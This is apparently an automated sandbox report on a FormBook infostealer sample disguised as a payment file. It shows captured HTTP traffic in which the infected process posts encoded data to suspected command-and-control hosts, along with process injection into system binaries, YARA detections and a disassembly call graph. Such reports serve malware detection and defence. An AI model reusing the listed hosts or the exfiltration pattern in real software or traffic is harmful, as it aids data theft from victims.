                                                      Referer: http://www.44ynh.top/l9wb/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 51 49 41 31 41 74 57 46 51 33 42 67 34 2f 2f 69 57 5a 71 56 4c 7a 56 6b 52 59 35 48 64 70 5a 78 6b 75 35 31 55 6d 53 69 46 55 6f 78 46 68 4f 63 53 75 78 31 32 52 77 59 54 4a 6a 75 6c 70 61 4d 4a 4d 4d 75 63 75 74 50 64 64 49 71 57 5a 35 54 30 49 73 43 2b 62 32 2f 6d 74 70 30 6d 34 2b 57 36 4a 64 57 34 77 33 39 57 5a 53 73 62 45 6c 51 64 62 4d 33 65 55 71 75 61 70 56 54 37 74 4b 75 72 54 76 6a 59 56 78 76 30 73 4a 31 4f 49 2f 6b 52 33 52 56 37 47 76 35 4d 63 32 6a 55 4f 42 63 73 6f 6b 78 58 67 59 4d 4d 46 46 2f 76 66 32 75 64 59 44 4c 6f 6e 33 4d 45 65 45 66 35 48 4f 6b 32 61 4a 55 6d 4e 57 6c 73 6a 67 72 75 57 77 44 37 2f 38 72 4d 55 72 55 2b 4f 71 59 79 41 76 2f 61 74 44 58 48 6e 43 79 4b 43 36 57 2b 4f 54 75 37 59 6b 6c 49 78 6e 6f 2f 6f 71 4f 6f 75 41 50 2b 59 47 6e 55 57 75 47 7a 4f 46 67 4c 71 38 32 77 6e 43 4a 73 63 44 63 75 42 48 31 76 4e 4f 74 63 6f 2f 6d 2b 68 63 45 58 33 6d 66 33 33 69 56 46 32 44 5a 31 65 4b 54 67 46 67 2b 6d 30 4e 72 34 66 79 63 70 54 37 43 6b 4d 44 36 47 30 6b [TRUNCATED]
                                                      Data Ascii: vP=QIA1AtWFQ3Bg4//iWZqVLzVkRY5HdpZxku51UmSiFUoxFhOcSux12RwYTJjulpaMJMMucutPddIqWZ5T0IsC+b2/mtp0m4+W6JdW4w39WZSsbElQdbM3eUquapVT7tKurTvjYVxv0sJ1OI/kR3RV7Gv5Mc2jUOBcsokxXgYMMFF/vf2udYDLon3MEeEf5HOk2aJUmNWlsjgruWwD7/8rMUrU+OqYyAv/atDXHnCyKC6W+OTu7YklIxno/oqOouAP+YGnUWuGzOFgLq82wnCJscDcuBH1vNOtco/m+hcEX3mf33iVF2DZ1eKTgFg+m0Nr4fycpT7CkMD6G0kOqKq8LUmy00Vz1aRfUWxqknyyTsI2wMutfZq4iwX8T1v9wMl6VxcGlLoaHbjL7SO5GnEgtyrbGUBqGAmDl7S/OkjRd4tT8oJG8uyS2l6jhdNfk9aplPXJTYQOGBW7mkeYUbkPiMM978wQLcWUMed6d6jdeBEg9ItV0H1Oaoq8791MtO2fz6t0Y2ZQkXOjD6ub3CNALur0/RbJvbsn+b3bLHqPDJlmX9o+ipOo8EeT8qRXWaBwx8haI/KpUJvfg3yoMXjpwO1RvhUXMK+FLfDClHMpyEqtBXLQVOQkDKBdWK1MZsTSFGGY3/6+oJUgo44OIbkhfydYQRgAaHeUR/wSthULhz7YabsWu3jfyUt1ayw5DWaxvtK1X7as8eZauks5HEvGcizX2pwdqGrJOve+DXjQwIM3iTiDsnlFzUfoD5BYyYdX+//QBJxep1u7kNkyBXRJ8ex1X8ZE9gka6XyPdGOjA1CisVaZ9/h7vVYGZnedWM0vG9XTAN13RfYXk/J/pB/7mKgpUvHq2H9gliOuwdA0D69Rz5I5Ka23gktGbKh2XrdNcwuM/xnbTmWbXxjcRxzEXjFwVvGX3mggmppSh3liAuew4CLqiF+JhPnI4R2h5u7MVkX3WmPoUdzWN6lstVKeCnENtE7sP80pJXVnOR67E9WCGv4yV [TRUNCATED]


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      16192.168.2.44996438.181.21.178803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:28.206314087 CET469OUTGET /l9wb/?vP=dKoVDaTSZmwFjIfnPMekOmNSbaoqabF1rLRKWxbZMRgsIAaeZOJ62iUdSY3DsOWKNrgOWvNnZKtmZJtN7rtvj9a+jKl6nL3gw5l63A2ReISiUGJmdOx1Ym0=&fT=ttlTvpWhdN8TOVxP HTTP/1.1
                                                      Host: www.44ynh.top
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Connection: close
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Nov 25, 2024 15:29:29.795347929 CET302INHTTP/1.1 404 Not Found
                                                      Server: nginx
                                                      Date: Mon, 25 Nov 2024 14:29:29 GMT
                                                      Content-Type: text/html
                                                      Content-Length: 138
                                                      Connection: close
                                                      ETag: "66df0ead-8a"
                                                      Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      17192.168.2.44999923.167.152.41803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:44.991846085 CET726OUTPOST /q34f/ HTTP/1.1
                                                      Host: www.75178.club
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 199
                                                      Origin: http://www.75178.club
                                                      Referer: http://www.75178.club/q34f/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 51 57 45 56 77 47 79 2f 6c 79 59 78 71 55 75 59 6d 50 51 52 54 6a 57 62 62 45 73 59 2f 56 61 55 6d 62 72 71 78 32 49 43 47 67 30 47 56 49 4e 45 50 75 32 4e 64 5a 66 46 7a 4d 77 6f 68 46 32 6d 6a 65 2b 79 4b 4a 72 78 33 68 68 45 70 50 6a 36 5a 4b 67 39 70 55 34 6f 54 6f 64 44 30 6c 47 63 4a 73 4a 32 36 65 59 41 44 39 4e 74 58 31 6f 6e 47 48 32 62 41 2f 38 59 5a 55 6e 45 49 59 47 74 73 45 48 47 41 45 6c 47 6b 64 69 74 76 66 4b 30 52 46 42 56 64 30 70 4b 45 55 48 7a 31 34 50 76 61 5a 70 76 38 52 6c 63 6e 48 64 46 6b 35 4f 58 7a 5a 36 72 4e 55 36 70 76 30 46 6d 34 50 6b 66 6d 77 3d 3d
                                                      Data Ascii: vP=QWEVwGy/lyYxqUuYmPQRTjWbbEsY/VaUmbrqx2ICGg0GVINEPu2NdZfFzMwohF2mje+yKJrx3hhEpPj6ZKg9pU4oTodD0lGcJsJ26eYAD9NtX1onGH2bA/8YZUnEIYGtsEHGAElGkditvfK0RFBVd0pKEUHz14PvaZpv8RlcnHdFk5OXzZ6rNU6pv0Fm4Pkfmw==


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      18192.168.2.45000623.167.152.41803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:47.650696039 CET746OUTPOST /q34f/ HTTP/1.1
                                                      Host: www.75178.club
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 219
                                                      Origin: http://www.75178.club
                                                      Referer: http://www.75178.club/q34f/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 51 57 45 56 77 47 79 2f 6c 79 59 78 72 33 6d 59 67 73 34 52 61 6a 57 59 48 55 73 59 71 6c 61 51 6d 62 6e 71 78 33 64 66 42 55 59 47 56 73 4a 45 49 73 65 4e 51 35 66 46 34 73 77 68 38 56 32 54 6a 65 79 4d 4b 49 58 78 33 68 31 45 70 4f 54 36 5a 37 67 38 6f 45 34 71 47 34 64 42 72 31 47 63 4a 73 4a 32 36 59 31 6c 44 39 46 74 57 46 34 6e 4a 46 4f 45 4d 66 38 58 59 55 6e 45 44 34 47 70 73 45 48 42 41 46 4a 34 6b 66 61 74 76 66 61 30 52 52 56 61 58 30 6f 50 4f 30 47 54 32 4b 36 4c 57 37 6f 63 32 41 78 7a 75 45 6c 79 6c 2f 44 4e 69 6f 62 38 66 55 65 61 79 7a 4d 53 31 4d 5a 57 39 30 69 67 53 68 6b 79 64 49 2f 47 49 50 69 58 71 4e 42 4e 37 53 6f 3d
                                                      Data Ascii: vP=QWEVwGy/lyYxr3mYgs4RajWYHUsYqlaQmbnqx3dfBUYGVsJEIseNQ5fF4swh8V2TjeyMKIXx3h1EpOT6Z7g8oE4qG4dBr1GcJsJ26Y1lD9FtWF4nJFOEMf8XYUnED4GpsEHBAFJ4kfatvfa0RRVaX0oPO0GT2K6LW7oc2AxzuElyl/DNiob8fUeayzMS1MZW90igShkydI/GIPiXqNBN7So=


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      19192.168.2.45001223.167.152.41803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:50.322809935 CET10828OUTPOST /q34f/ HTTP/1.1
                                                      Host: www.75178.club
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 10299
                                                      Origin: http://www.75178.club
                                                      Referer: http://www.75178.club/q34f/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 51 57 45 56 77 47 79 2f 6c 79 59 78 72 33 6d 59 67 73 34 52 61 6a 57 59 48 55 73 59 71 6c 61 51 6d 62 6e 71 78 33 64 66 42 56 4d 47 56 2f 52 45 4f 4e 65 4e 52 35 66 46 78 4d 77 6b 38 56 32 4b 6a 65 37 4c 4b 49 61 4d 33 69 4e 45 70 73 62 36 49 2f 30 38 68 45 34 71 45 34 64 41 30 6c 47 7a 4a 73 5a 79 36 59 46 6c 44 39 46 74 57 41 30 6e 4f 58 32 45 4f 66 38 59 5a 55 6e 49 49 59 47 4e 73 45 76 4f 41 46 39 6f 6b 76 36 74 71 4c 47 30 54 6b 42 61 62 30 6f 42 4a 30 47 78 32 4b 6d 55 57 36 46 6e 32 41 46 5a 75 44 46 79 6e 2b 6e 56 33 34 54 2f 4e 6b 4b 4c 75 7a 64 31 34 4e 78 58 79 6d 2b 68 63 44 59 4d 42 4c 7a 57 4c 50 75 65 36 39 68 7a 6f 33 7a 76 2b 74 6d 50 62 4f 46 4e 7a 50 4e 41 4e 57 33 2b 68 4a 30 63 32 63 61 6f 55 50 6a 53 2f 38 78 31 52 4f 63 78 61 6f 4e 68 4a 38 62 4b 6c 7a 78 69 45 48 43 57 31 70 46 4c 45 66 44 4f 4b 65 61 30 6a 52 5a 51 61 78 36 4a 4a 74 69 47 45 44 59 52 59 61 68 39 51 71 4c 41 56 30 30 53 47 53 74 78 67 41 62 7a 64 2b 6f 36 2b 42 71 46 4f 72 30 2b 6c 55 52 51 4f 38 35 [TRUNCATED]
                                                      Data Ascii: vP=QWEVwGy/lyYxr3mYgs4RajWYHUsYqlaQmbnqx3dfBVMGV/REONeNR5fFxMwk8V2Kje7LKIaM3iNEpsb6I/08hE4qE4dA0lGzJsZy6YFlD9FtWA0nOX2EOf8YZUnIIYGNsEvOAF9okv6tqLG0TkBab0oBJ0Gx2KmUW6Fn2AFZuDFyn+nV34T/NkKLuzd14NxXym+hcDYMBLzWLPue69hzo3zv+tmPbOFNzPNANW3+hJ0c2caoUPjS/8x1ROcxaoNhJ8bKlzxiEHCW1pFLEfDOKea0jRZQax6JJtiGEDYRYah9QqLAV00SGStxgAbzd+o6+BqFOr0+lURQO85+1UdmSbEDrD7ZFAggxD7riH8Gb+uHWyrsi3WfpXxQkoTDel/RpteSaX3SL5O6n1ySSPP+dXxfxTyDmZ2RUH4BXuLrnzg7VO1TC7ReqO2pu11HvKegxP+MuRdAL1xDOhgUGObEVJPCDdyk+yp5j+tBH5kFwgbywhIho/4T8znuDcoPhUyUeswtcI1zyNXSLRUv806XAKp99QoT2mZetL+WiMhY/k+C5n3KzXaxeKM69db6dFZr0wXLfaXtVUJj/qMlB1rqlAgQ4T3epTj2pl7LyOtdCZaIve+85moqFMjjOdliVz/6I+uEpb0XVil250C36NHW12PJtIJYlycxx1iEmKlNFrU0uGYACMBpdcThH2L2mSm87Mg7n8k0Ar7Y1/uZJ5yqz5HxQ3aqN64euj5zfdhmHWyogzHw1+Ku4rFSaqfN+1dJzvZyN+lMrMZdgDFltP4vtq5IM+YW4IpeGbPluUIQXBEEGfvpYHD+Yi2nfeRM45FdYEI3jF3URN1o4Cg6mjfyYthuEdZdeempyQ7ixYKKX9IopRF7k0LLTvb7WRaeQW6CdewlHd0PBpCYCqvCdbueneLsdZpVPVATcy3xei0OtA5AzgBaLGQQYwAqFNwdbCjcILawSjg3MNxVZgb2i8c48b+JmG+I8rQACCTyfudIbUbJ2uIw2 [TRUNCATED]


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      20192.168.2.45001823.167.152.41803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:52.994307041 CET470OUTGET /q34f/?fT=ttlTvpWhdN8TOVxP&vP=dUs1zx3MtgRbplDX2ZUJYQ2PdhhIhHuhj9/PkAdaJlwoIMpaDvWmQ8f5x9wKpmWIn5GTBIDw1kY0kdraeZ9e5WN4Bfp+jFvkFPdElOhqE98bTiQ+FUKDG58= HTTP/1.1
                                                      Host: www.75178.club
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Connection: close
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0


                                                      Statistics

                                                      CPU Usage

                                                      Click to jump to process

                                                      Memory Usage

                                                      Click to jump to process

                                                      High Level Behavior Distribution

                                                      Click to dive into process behavior distribution

                                                      Behavior

                                                      Click to jump to process

                                                      System Behavior

                                                      General

                                                      Target ID:0
                                                      Start time:09:26:52
                                                      Start date:25/11/2024
                                                      Path:C:\Users\user\Desktop\Payment-251124.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Users\user\Desktop\Payment-251124.exe"
                                                      Imagebase:0xec0000
                                                      File size:1'209'856 bytes
                                                      MD5 hash:BFCEF9BD24B02FF03F80B4AFCD3AAB1E
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:low
                                                      Has exited:true

                                                      General

                                                      Target ID:1
                                                      Start time:09:26:53
                                                      Start date:25/11/2024
                                                      Path:C:\Windows\SysWOW64\svchost.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Users\user\Desktop\Payment-251124.exe"
                                                      Imagebase:0xdb0000
                                                      File size:46'504 bytes
                                                      MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2182922609.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2183137208.0000000000D20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2183684282.0000000004150000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:5
                                                      Start time:09:27:33
                                                      Start date:25/11/2024
                                                      Path:C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe"
                                                      Imagebase:0x350000
                                                      File size:140'800 bytes
                                                      MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3539158072.0000000003A40000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                      Reputation:high
                                                      Has exited:false

                                                      General

                                                      Target ID:6
                                                      Start time:09:27:35
                                                      Start date:25/11/2024
                                                      Path:C:\Windows\SysWOW64\tzutil.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\SysWOW64\tzutil.exe"
                                                      Imagebase:0x5d0000
                                                      File size:48'640 bytes
                                                      MD5 hash:31DE852CCF7CED517CC79596C76126B4
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3539253751.0000000003210000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3537454552.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3539211185.00000000031C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:moderate
                                                      Has exited:false

                                                      General

                                                      Target ID:7
                                                      Start time:09:27:48
                                                      Start date:25/11/2024
                                                      Path:C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe"
                                                      Imagebase:0x350000
                                                      File size:140'800 bytes
                                                      MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3540649856.0000000004C30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                      Reputation:high
                                                      Has exited:false

                                                      General

                                                      Target ID:8
                                                      Start time:09:28:00
                                                      Start date:25/11/2024
                                                      Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                      Imagebase:0x7ff6bf500000
                                                      File size:676'768 bytes
                                                      MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      Disassembly

                                                      Reset < >

                                                        Execution Graph

                                                        Execution Coverage:3.8%
                                                        Dynamic/Decrypted Code Coverage:0.9%
                                                        Signature Coverage:6.4%
                                                        Total number of Nodes:1952
                                                        Total number of Limit Nodes:169
                                                        execution_graph 92450 ee5dfd 92451 ee5e09 __fcloseall 92450->92451 92487 ee7eeb GetStartupInfoW 92451->92487 92453 ee5e0e 92489 ee9ca7 GetProcessHeap 92453->92489 92455 ee5e66 92456 ee5e71 92455->92456 92574 ee5f4d 47 API calls 3 library calls 92455->92574 92490 ee7b47 92456->92490 92459 ee5e77 92460 ee5e82 __RTC_Initialize 92459->92460 92575 ee5f4d 47 API calls 3 library calls 92459->92575 92511 eeacb3 92460->92511 92463 ee5e91 92464 ee5e9d GetCommandLineW 92463->92464 92576 ee5f4d 47 API calls 3 library calls 92463->92576 92530 ef2e7d GetEnvironmentStringsW 92464->92530 92467 ee5e9c 92467->92464 92471 ee5ec2 92543 ef2cb4 92471->92543 92474 ee5ec8 92475 ee5ed3 92474->92475 92578 ee115b 47 API calls 3 library calls 92474->92578 92557 ee1195 92475->92557 92478 ee5edb 92479 ee5ee6 __wwincmdln 92478->92479 92579 ee115b 47 API calls 3 library calls 92478->92579 92561 ec3a0f 92479->92561 92482 ee5efa 92483 ee5f09 92482->92483 92580 ee13f1 47 API calls _doexit 92482->92580 92581 ee1186 47 API calls _doexit 92483->92581 92486 ee5f0e __fcloseall 92488 ee7f01 92487->92488 92488->92453 92489->92455 92582 ee123a 30 API calls 2 library calls 92490->92582 92492 ee7b4c 92583 ee7e23 InitializeCriticalSectionAndSpinCount 92492->92583 92494 ee7b51 92495 ee7b55 92494->92495 92585 ee7e6d TlsAlloc 92494->92585 92584 ee7bbd 50 API calls 2 library calls 92495->92584 92498 ee7b5a 92498->92459 92499 ee7b67 92499->92495 92500 ee7b72 92499->92500 92586 ee6986 92500->92586 92503 ee7bb4 92594 ee7bbd 50 API calls 2 library calls 92503->92594 92506 ee7bb9 92506->92459 92507 ee7b93 92507->92503 92508 ee7b99 92507->92508 92593 ee7a94 47 API calls 4 library calls 92508->92593 92510 ee7ba1 GetCurrentThreadId 92510->92459 92512 eeacbf __fcloseall 92511->92512 92603 ee7cf4 92512->92603 92514 eeacc6 92515 ee6986 __calloc_crt 47 API calls 92514->92515 92517 eeacd7 92515->92517 92516 eead42 GetStartupInfoW 92525 eead57 92516->92525 92526 eeae80 92516->92526 92517->92516 92518 eeace2 __fcloseall @_EH4_CallFilterFunc@8 92517->92518 92518->92463 92519 eeaf44 92610 eeaf58 LeaveCriticalSection _doexit 92519->92610 92521 eeada5 92521->92526 92528 eeadd7 GetFileType 92521->92528 92529 eeade5 InitializeCriticalSectionAndSpinCount 92521->92529 92522 eeaec9 GetStdHandle 92522->92526 92523 ee6986 __calloc_crt 47 API calls 92523->92525 92524 eeaedb GetFileType 92524->92526 92525->92521 92525->92523 92525->92526 92526->92519 92526->92522 92526->92524 92527 eeaf08 InitializeCriticalSectionAndSpinCount 92526->92527 92527->92526 92528->92521 92528->92529 92529->92521 92531 ee5ead 92530->92531 92533 ef2e8e 92530->92533 92537 ef2a7b GetModuleFileNameW 92531->92537 92532 ef2ea9 92649 ee69d0 47 API calls __crtCompareStringA_stat 92532->92649 92533->92532 92533->92533 92535 ef2eb4 ___crtGetEnvironmentStringsW 92536 ef2eca FreeEnvironmentStringsW 92535->92536 92536->92531 92538 ef2aaf _wparse_cmdline 92537->92538 92539 ee5eb7 92538->92539 92540 ef2ae9 92538->92540 92539->92471 92577 ee115b 47 API calls 3 library calls 92539->92577 92650 ee69d0 47 API calls __crtCompareStringA_stat 92540->92650 92542 ef2aef _wparse_cmdline 92542->92539 92544 ef2ccd __wsetenvp 92543->92544 92548 ef2cc5 92543->92548 92545 ee6986 __calloc_crt 47 API calls 92544->92545 92553 ef2cf6 __wsetenvp 92545->92553 92546 ef2d4d 92547 ee1c9d _free 47 API calls 92546->92547 92547->92548 92548->92474 92549 ee6986 __calloc_crt 47 API calls 92549->92553 92550 ef2d72 92552 ee1c9d _free 47 API calls 92550->92552 92552->92548 92553->92546 92553->92548 92553->92549 92553->92550 92554 ef2d89 92553->92554 92651 ef2567 47 API calls __mbstowcs_s_l 92553->92651 92652 ee6e20 IsProcessorFeaturePresent 92554->92652 92556 ef2d95 92556->92474 92558 ee11a1 __initterm_e __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage 92557->92558 92560 ee11e0 __IsNonwritableInCurrentImage 92558->92560 92675 ee0f0a 52 API calls __cinit 92558->92675 92560->92478 92562 ec3a29 92561->92562 92563 f31ebf 92561->92563 92564 ec3a63 IsThemeActive 92562->92564 92676 ee1405 92564->92676 92568 ec3a8f 92688 ec3adb SystemParametersInfoW SystemParametersInfoW 92568->92688 92570 ec3a9b 92689 ec3d19 92570->92689 92572 ec3aa3 SystemParametersInfoW 92573 ec3ac8 92572->92573 92573->92482 92574->92456 92575->92460 92576->92467 92580->92483 92581->92486 92582->92492 92583->92494 92584->92498 92585->92499 92589 ee698d 92586->92589 92588 ee69ca 92588->92503 92592 ee7ec9 TlsSetValue 92588->92592 92589->92588 92590 ee69ab Sleep 92589->92590 92595 ef30aa 92589->92595 92591 ee69c2 92590->92591 92591->92588 92591->92589 92592->92507 92593->92510 92594->92506 92596 ef30b5 92595->92596 92601 ef30d0 __calloc_impl 92595->92601 92597 ef30c1 92596->92597 92596->92601 92602 ee7c0e 47 API calls __getptd_noexit 92597->92602 92598 ef30e0 HeapAlloc 92600 ef30c6 92598->92600 92598->92601 92600->92589 92601->92598 92601->92600 92602->92600 92604 ee7d18 EnterCriticalSection 92603->92604 92605 ee7d05 92603->92605 92604->92514 92611 ee7d7c 92605->92611 92607 ee7d0b 92607->92604 92635 ee115b 47 API calls 3 library calls 92607->92635 92610->92518 92612 ee7d88 __fcloseall 92611->92612 92613 ee7da9 92612->92613 92614 ee7d91 92612->92614 92616 ee7e11 __fcloseall 92613->92616 92629 ee7da7 92613->92629 92636 ee81c2 47 API calls __NMSG_WRITE 92614->92636 92616->92607 92617 ee7d96 92637 ee821f 47 API calls 7 library calls 92617->92637 92620 ee7dbd 92622 ee7dc4 92620->92622 92623 ee7dd3 92620->92623 92621 ee7d9d 92638 ee1145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 92621->92638 92640 ee7c0e 47 API calls __getptd_noexit 92622->92640 92624 ee7cf4 __lock 46 API calls 92623->92624 92628 ee7dda 92624->92628 92627 ee7dc9 92627->92616 92630 ee7dfe 92628->92630 92631 ee7de9 InitializeCriticalSectionAndSpinCount 92628->92631 92629->92613 92639 ee69d0 47 API calls __crtCompareStringA_stat 92629->92639 92641 ee1c9d 92630->92641 92632 ee7e04 92631->92632 92647 ee7e1a LeaveCriticalSection _doexit 92632->92647 92636->92617 92637->92621 92639->92620 92640->92627 92642 ee1ca6 RtlFreeHeap 92641->92642 92646 ee1ccf _free 92641->92646 92643 ee1cbb 92642->92643 92642->92646 92648 ee7c0e 47 API calls __getptd_noexit 92643->92648 92645 ee1cc1 GetLastError 92645->92646 92646->92632 92647->92616 92648->92645 92649->92535 92650->92542 92651->92553 92653 ee6e2b 92652->92653 92658 ee6cb5 92653->92658 92657 ee6e46 92657->92556 92659 ee6ccf _memset __call_reportfault 92658->92659 92660 ee6cef IsDebuggerPresent 92659->92660 92666 ee81ac SetUnhandledExceptionFilter UnhandledExceptionFilter 92660->92666 92662 ee6db3 __call_reportfault 92667 eea70c 92662->92667 92664 ee6dd6 92665 ee8197 GetCurrentProcess TerminateProcess 92664->92665 92665->92657 92666->92662 92668 eea716 IsProcessorFeaturePresent 92667->92668 92669 eea714 92667->92669 92671 ef37b0 92668->92671 92669->92664 92674 ef375f 5 API calls 2 library calls 92671->92674 92673 ef3893 92673->92664 92674->92673 92675->92560 92677 ee7cf4 __lock 47 API calls 92676->92677 92678 ee1410 92677->92678 92741 ee7e58 LeaveCriticalSection 92678->92741 92680 ec3a88 92681 ee146d 92680->92681 92682 ee1491 92681->92682 92683 ee1477 92681->92683 92682->92568 92683->92682 92742 ee7c0e 47 API calls __getptd_noexit 92683->92742 92685 ee1481 92743 ee6e10 8 API calls __mbstowcs_s_l 92685->92743 92687 ee148c 92687->92568 92688->92570 92690 ec3d26 __ftell_nolock 92689->92690 92744 ecd7f7 92690->92744 92694 ec3d57 IsDebuggerPresent 92695 f31cc1 MessageBoxA 92694->92695 